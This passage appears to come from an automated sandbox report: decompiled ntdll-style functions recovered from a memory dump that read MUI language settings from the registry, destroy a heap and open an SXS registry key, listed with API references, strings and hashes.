0x6d2a58a6
0x6d2a58a8
0x00000000
0x00000000
0x6d2a58ae
0x6d2a58b2
0x6d2a58b7
0x6d2a58b7
0x6d2a58b7
0x6d24ebd7
0x6d24ebdf
0x6d24ebdf
0x6d24ebc8
0x6d2a57cc
0x6d2a57cf
0x6d2a57d1
0x6d2a57d9
0x6d2a57de
0x6d2a57e3
0x6d2a57e5
0x6d2a57e7
0x6d2a57ec
0x6d2a57f0
0x6d2a57f0
0x6d2a57ec
0x6d2a57e5
0x6d2a57f1
0x6d2a57f5
0x6d2a57fa
0x6d2a5801
0x6d2a5801
0x6d24ea94
0x6d2a5807
0x6d2a5807
0x6d24ea9d
0x6d24ebe2
0x6d24ebe7
0x00000000
0x00000000
0x6d24ebf7
0x6d24ec00
0x6d24ec05
0x6d24ec0a
0x6d24ec0f
0x6d24ec19
0x6d24ec1a
0x6d24ec22
0x6d24ec23
0x6d24ec2c
0x6d24ec30
0x6d24ec31
0x6d24ec35
0x6d24ec3a
0x6d24ec3c
0x6d2a5827
0x6d2a5829
0x6d2a582b
0x00000000
0x00000000
0x6d2a5833
0x6d2a5833
0x6d24ec4c
0x6d24ec55
0x6d24ec5a
0x6d24ec5f
0x6d24ec64
0x6d24ec6c
0x6d24ec74
0x6d24ec75
0x6d24ec7e
0x6d24ec82
0x6d24ec83
0x6d24ec8c
0x6d24ec8e
0x6d24ec90
0x00000000
0x00000000
0x6d2a5839
0x00000000
0x6d24eaa3
0x6d24eaa6
0x6d24eb87
0x6d24eb95
0x00000000
0x6d24eb95
0x6d24eab6
0x6d2a5850
0x6d24eabc
0x6d24eac6
0x6d24eacf
0x6d24ead4
0x6d24eadc
0x6d24eae4
0x6d24eaec
0x6d24eaf7
0x6d24eaf8
0x6d24eb01
0x6d24eb08
0x6d24eb09
0x6d24eb14
0x6d24eb14
0x6d24eb1b
0x6d24eb27
0x6d24eb2c
0x6d24eb35
0x6d24eb3d
0x6d24eb45
0x6d24eb4d
0x6d24eb5b
0x6d24eb5c
0x6d24eb65
0x6d24eb6c
0x6d24eb6d
0x6d24eb7d
0x6d24eb81
0x6d2a5841
0x6d2a5843
0x6d2a5843
0x00000000
0x00000000
0x6d2a5849
0x6d2a5849
0x00000000
0x6d2a5849
0x6d24eb81
0x00000000
0x6d24eb1b
0x6d24ea9d

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,6D3366C0,0000EEEE,00000002), ref: 6D24EA35
ZwOpenKey.1105 ref: 6D24EA72

Part of subcall function 6D289600: LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

ZwClose.1105(6D3366C0,?,?), ref: 6D2A57F5

Part of subcall function 6D24F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6D2FCFA7,?,?,?), ref: 6D24F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached\MachineLanguageConfiguration,?,?,?), ref: 6D24EAC6
ZwOpenKey.1105(00000000,00020019,?,?,?,?,?,?,?,?,?,?,?,?,?,Control Panel\Desktop\MuiCached\MachineLanguageConfiguration), ref: 6D24EB14
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration,00000000,00020019,?), ref: 6D24EB27
ZwOpenKey.1105(00000000,00020019,00000040,?,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration,00000000,00020019,?), ref: 6D24EB78
ZwClose.1105(00000000,?,?), ref: 6D24EBA2
ZwClose.1105(?,?,?), ref: 6D24EBC0
RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6D24EBF7
ZwOpenKey.1105(?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6D24EC35
RtlInitUnicodeString.1105(?,Control Panel\Desktop\LanguageConfiguration,?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6D24EC4C
ZwOpenKey.1105(00000000,00020019,?,?,Control Panel\Desktop\LanguageConfiguration,?,00020019,00000040,?,Software\Policies\Microsoft\Control Panel\Desktop,?,?,?), ref: 6D24EC87
ZwClose.1105(00000000,?,?), ref: 6D2A5865
RtlFreeHeap.1105(?,00000000,6D2571B4,?,?), ref: 6D2A5895

Strings

@, xrefs: 6D24EB6D
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 6D24EB1D
Control Panel\Desktop\LanguageConfiguration, xrefs: 6D24EC42
@, xrefs: 6D24EA62
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 6D24EABC
@, xrefs: 6D24EB09
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6D24EA2F
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6D24EBED

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$InitStringUnicode$Close$CurrentFreeHeapInitializeThunkUser
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 2369473089-1356375266
Opcode ID: 789532496a20cbcd2f4a3f6bcde4517f4be339d2df49a64325d188ad82c3ed9c
Instruction ID: 2c4afe5b40c53de3209fc450b1d2011e67d48c5adb01bfd0d9815f4efd91c691
Opcode Fuzzy Hash: 789532496a20cbcd2f4a3f6bcde4517f4be339d2df49a64325d188ad82c3ed9c
Instruction Fuzzy Hash: 6FA16A7159835A9FE311CF24C480B6BB7E8BF84719F00892EFA99D6241DB74D948CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6D2FCF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6D2FCF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6D24F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6D289600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6D2895D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6D24F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6D289600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6D24F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6D24F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6d226cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6D2895D0();
				}
				return _t109;
				goto L29;
			}

0x6d2fcf82
0x6d2fcf8c
0x6d2fcf91
0x6d2fcf96
0x6d2fcf9a
0x6d2fcf9e
0x6d2fcfa7
0x6d2fcfab
0x6d2fcfb9
0x6d2fcfe1
0x6d2fcfea
0x6d2fcff4
0x6d2fcff5
0x6d2fcffd
0x6d2fcffe
0x6d2fd007
0x6d2fd00b
0x6d2fd00c
0x6d2fd010
0x6d2fd018
0x6d2fd01c
0x6d2fd025
0x6d2fd029
0x6d2fd05d
0x6d2fd063
0x00000000
0x6d2fd069
0x6d2fd069
0x6d2fd06d
0x6d2fd07b
0x6d2fd080
0x6d2fd085
0x6d2fd089
0x00000000
0x6d2fd089
0x6d2fd02b
0x6d2fd035
0x6d2fd03a
0x6d2fd03b
0x6d2fd053
0x6d2fd057
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2fd057
0x6d2fcfbb
0x6d2fcfc1
0x6d2fcfca
0x6d2fcfd2
0x6d2fd08d
0x6d2fd091
0x6d2fd095
0x6d2fd09d
0x6d2fd09e
0x6d2fd0a7
0x6d2fd0af
0x6d2fd0b0
0x6d2fd0b4
0x6d2fd0bd
0x6d2fd0c1
0x6d2fd0cd
0x6d2fd0d2
0x6d2fd0d3
0x6d2fd0eb
0x6d2fd0ed
0x6d2fd0f4
0x6d2fd0f6
0x6d2fd0fc
0x6d2fd104
0x6d2fd18d
0x6d2fd10a
0x6d2fd10b
0x6d2fd110
0x6d2fd11b
0x6d2fd120
0x6d2fd15e
0x6d2fd179
0x6d2fd17d
0x00000000
0x6d2fd17f
0x6d2fd184
0x00000000
0x6d2fd186
0x6d2fd186
0x00000000
0x6d2fd186
0x6d2fd184
0x00000000
0x6d2fd122
0x6d2fd122
0x6d2fd127
0x6d2fd127
0x6d2fd127
0x6d2fd129
0x6d2fd129
0x6d2fd112
0x6d2fd115
0x6d2fd117
0x6d2fd117
0x6d2fd110
0x6d2fd104
0x6d2fd0fc
0x6d2fd0f4
0x6d2fd0c1
0x6d2fcfb9
0x6d2fd12b
0x6d2fd131
0x6d2fd136
0x6d2fd139
0x6d2fd139
0x6d2fd13f
0x6d2fd13f
0x6d2fd148
0x6d2fd14a
0x6d2fd14e
0x6d2fd14e
0x6d2fd15b
0x00000000

APIs

Part of subcall function 6D24F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6D2FCFA7,?,?,?), ref: 6D24F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6D2FCFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6D2FCFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6D2FD020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6D2FD035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6D2FD06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6D2FD080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6D2FD0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6D2FD0CD
ZwClose.1105(?,?,?,?), ref: 6D2FD139
ZwClose.1105(00000000,?,?,?), ref: 6D2FD14E

Strings

PreferredUILanguages, xrefs: 6D2FD0C3
MachinePreferredUILanguages, xrefs: 6D2FD02B
Control Panel\Desktop\MuiCached, xrefs: 6D2FCFDB
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6D2FD072
@, xrefs: 6D2FD0A7
@, xrefs: 6D2FD010
Control Panel\Desktop, xrefs: 6D2FCFBB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: 965c43f31b2149ef3995c706cbdd245ead2bac38a31d70da39fb9df75a8a49c9
Instruction ID: 1b42c233edaae9c49dc16aa87ad4c67dea15c9dfa2e7e83207dd250391bf4e18
Opcode Fuzzy Hash: 965c43f31b2149ef3995c706cbdd245ead2bac38a31d70da39fb9df75a8a49c9
Instruction Fuzzy Hash: 085153B188831A9FC311CF15C880A5BF7E8BBC9754F414E2EF995A7250D731DA09CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D242FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6D242FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6d33d360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6d338748 - 2;
					if( *0x6d338748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6D24B150();
						} else {
							E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6D24B150();
						__eflags =  *0x6d337bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6D302073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6D28B640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6D2ECB1E(_t138, _t159, 0, 8, 0);
					}
					E6D2431B0(_t125, _t159, _t155);
					E6D30274F(_t159);
					_t155 = 1;
					E6D271249(_t159, 1, 0, 0);
					E6D30B581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6d335718; // 0x0
					 *0x6d33b1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6D2ECB1E(_t144, _t159, 0, 8, 0);
				}
				E6D2431B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6D303518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6D271249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6D27174B( &_v96,  &_v100, 0x8000);
							_t88 = E6D267D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6D2FFE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6D27174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6D27174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6D243138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6D267D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6D267D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6D289AE0();
								}
							}
							_t104 = E6D267D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6D267D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6D289AE0();
							}
							if(E6D267D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6D2FFDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6d242fb8
0x6d242fc2
0x6d242fc6
0x6d242fc9
0x6d242fce
0x6d29fb7d
0x6d29fb84
0x6d29fb8a
0x6d29fb90
0x6d29fb94
0x6d29fbb3
0x6d29fbb8
0x6d29fb96
0x6d29fbab
0x6d29fbb0
0x6d29fbbe
0x6d29fbc3
0x6d29fbc8
0x6d29fbd0
0x6d29fbd8
0x6d29fbd9
0x6d29fbd9
0x6d29fbd0
0x6d2430ea
0x6d2430ea
0x6d2430ec
0x6d2430f0
0x6d2430f1
0x6d2430f2
0x6d2430fd
0x6d2430fd
0x6d242fdb
0x6d29fbe3
0x6d29fbea
0x6d29fbed
0x6d24312b
0x6d24312b
0x00000000
0x6d24312b
0x6d29fbf3
0x6d29fbf8
0x6d29fbfa
0x6d29fc00
0x6d29fc02
0x6d29fc02
0x6d29fc09
0x6d29fc10
0x6d29fc1b
0x6d29fc1c
0x6d29fc23
0x00000000
0x6d29fc23
0x6d242fe8
0x6d29fc2d
0x6d29fc36
0x6d29fc3c
0x00000000
0x6d29fc3c
0x6d242fee
0x6d242ff5
0x6d29fc47
0x6d29fc49
0x6d29fc49
0x6d242ffd
0x6d243009
0x6d29fc53
0x6d29fc5a
0x00000000
0x00000000
0x6d29fc62
0x6d29fc67
0x6d29fc69
0x00000000
0x00000000
0x00000000
0x6d24300f
0x6d24300f
0x6d243018
0x00000000
0x6d24301e
0x6d243024
0x6d243025
0x6d24302a
0x6d243030
0x6d243032
0x6d29fc74
0x6d29fc76
0x6d29fc7a
0x6d29fc81
0x6d29fc8f
0x6d29fc93
0x6d29fc98
0x6d29fc9d
0x6d29fc9f
0x6d29fcb1
0x6d29fca1
0x6d29fcaa
0x6d29fcaa
0x6d29fcb6
0x6d29fcb9
0x6d29fcbf
0x6d29fcc5
0x6d29fcc5
0x6d29fcca
0x6d29fcca
0x6d243041
0x6d243100
0x6d243047
0x6d243047
0x6d243047
0x6d24304b
0x6d24310b
0x6d24310f
0x6d24311c
0x6d243121
0x6d243121
0x6d243051
0x6d243059
0x6d29fcde
0x6d29fce3
0x6d29fce5
0x6d29fcea
0x6d29fcea
0x6d243063
0x6d243075
0x6d243075
0x00000000
0x6d24307b
0x6d243081
0x6d243086
0x6d24308d
0x00000000
0x6d24308f
0x6d24308f
0x6d243094
0x6d2430a0
0x6d29fcfa
0x6d2430a6
0x6d2430a6
0x6d2430a6
0x6d2430ab
0x6d29fd01
0x6d29fd07
0x6d29fd0e
0x6d29fd14
0x6d29fd19
0x6d29fd1b
0x6d29fd26
0x6d29fd26
0x6d29fd26
0x6d29fd2f
0x6d29fd38
0x6d29fd39
0x6d29fd3b
0x6d29fd43
0x6d29fd44
0x6d29fd48
0x6d29fd48
0x6d29fd0e
0x6d2430b1
0x6d2430b6
0x6d2430c2
0x6d29fd5b
0x6d2430c8
0x6d2430c8
0x6d2430c8
0x6d2430cd
0x6d29fd62
0x6d29fd67
0x6d29fd69
0x6d29fd74
0x6d29fd74
0x6d29fd74
0x6d29fd7d
0x6d29fd86
0x6d29fd87
0x6d29fd89
0x6d29fd91
0x6d29fd92
0x6d29fd96
0x6d29fd96
0x6d2430da
0x6d29fda9
0x6d2430e0
0x6d2430e0
0x6d2430e0
0x6d2430e8
0x6d243131
0x6d243131
0x00000000
0x6d2430e8
0x6d24308d
0x6d243018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6D243070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6D24308F
RtlGetCurrentServiceSessionId.1105 ref: 6D2430B1
RtlGetCurrentServiceSessionId.1105 ref: 6D2430D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6D29FBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6D29FBC3
RtlDebugPrintTimes.1105(?), ref: 6D29FC36

Part of subcall function 6D2431B0: RtlAcquireSRWLockExclusive.1105(6D338660,?,00000000,6D29FC0E), ref: 6D2431BC
Part of subcall function 6D2431B0: RtlReleaseSRWLockExclusive.1105(6D338660,6D338660,?,00000000,6D29FC0E), ref: 6D2431CF

Strings

(HeapHandle != NULL), xrefs: 6D29FBBE
HEAP[%wZ]: , xrefs: 6D29FBA6
HEAP: , xrefs: 6D29FBB3

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: 30851664eeb4aa0e33d4cc3e437ce9cfd0a100915cb4130e96764ed7c66501c3
Instruction ID: 0567d1c8ed3f082021b86c406688c7483c0a90d1da4688aab5d925daaf83a9d0
Opcode Fuzzy Hash: 30851664eeb4aa0e33d4cc3e437ce9cfd0a100915cb4130e96764ed7c66501c3
Instruction Fuzzy Hash: 8B9135317D864A9FD32ACB28C890F2BB7A4BF85704F01C569FE448B281DB35D845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D27CCC0, Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 218
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D27CCC0(intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				signed int _v8;
				char _v540;
				signed int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				signed int _v576;
				char _v580;
				char _v584;
				char* _v588;
				signed int _v590;
				signed int _v592;
				int _v596;
				signed int _v600;
				void* _v608;
				void* _v612;
				signed int _v616;
				intOrPtr _v620;
				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				intOrPtr* _t103;
				void* _t104;
				intOrPtr _t107;
				void* _t110;
				void* _t111;
				void* _t117;
				int _t121;
				signed int* _t124;
				void* _t125;
				signed int _t129;
				signed int _t131;

				_t131 = (_t129 & 0xfffffff8) - 0x25c;
				_v8 =  *0x6d33d360 ^ _t131;
				_t103 = _a8;
				_t124 = _a12;
				_t76 = _a4 - 1;
				if(_t76 == 0) {
					_v580 = 0x18;
					_push( &_v580);
					_v568 = 0x40;
					_push(8);
					_v600 = 0;
					_push( &_v600);
					_v576 = 0;
					_v572 = 0x6d2213a8;
					_v564 = 0;
					_v560 = 0;
					_t79 = E6D289600();
					_v620 = _t79;
					if(_t79 >= 0 || _t79 == 0xc0000034 || _t79 == 0xc0000189) {
						_t80 = _v600;
						 *(_t103 + 0x18) =  *(_t103 + 0x18) | 0xffffffff;
						 *((intOrPtr*)(_t103 + 8)) = _v600;
					} else {
						_push(_t79);
						_t80 = E6D2D5720(0x33, 0, "SXS: Unable to open registry key %wZ Status = 0x%08lx\n", 0x6d2213a8);
						 *((char*)(_t103 + 0x1c)) = 1;
						L36:
						_t131 = _t131 + 0x14;
						if(_t124 == 0) {
							L9:
							_pop(_t117);
							_pop(_t125);
							_pop(_t104);
							return E6D28B640(_t80, _t104, _v8 ^ _t131, _t113, _t117, _t125);
						}
						_t80 = _v608;
						L38:
						 *_t124 = _t80;
					}
					goto L9;
				}
				_t82 = _t76 - 1;
				if(_t82 != 0) {
					_t80 = _t82;
					if(_t80 == 0 &&  *_t103 != _t80) {
						_push( *_t103);
						_t80 = E6D2895D0();
					}
					goto L9;
				}
				_t84 =  *((intOrPtr*)(_t103 + 4));
				if(_t84 != 0) {
					if(_t84 != 1) {
